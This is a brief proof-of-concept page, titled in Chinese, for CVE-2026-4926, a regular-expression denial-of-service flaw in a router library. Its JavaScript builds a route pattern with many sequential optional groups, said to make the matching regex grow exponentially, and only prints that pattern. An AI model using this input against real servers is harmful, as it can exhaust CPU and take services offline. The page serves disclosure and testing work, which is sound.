CVE-2026-4926 正则表达式DoS漏洞

// PoC for CVE-2026-4926 // Triggering the ReDoS vulnerability via sequential optional route groups // // The vulnerability is triggered when a router processes a route pattern // with multiple sequential optional groups, e.g., {a}{b}{c}... // This causes the underlying regex to grow exponentially. // Example of a vulnerable route definition const vulnerableRoute = "/api/{a}{b}{c}{d}{e}{f}{g}{h}{i}{j}/endpoint"; // In a real scenario, sending a request matching this pattern to the server // would cause the high CPU consumption. console.log("PoC: Request pattern constructed to exploit ReDoS."); console.log("Pattern:", vulnerableRoute); // Note: This requires the vulnerable library to be running on the server.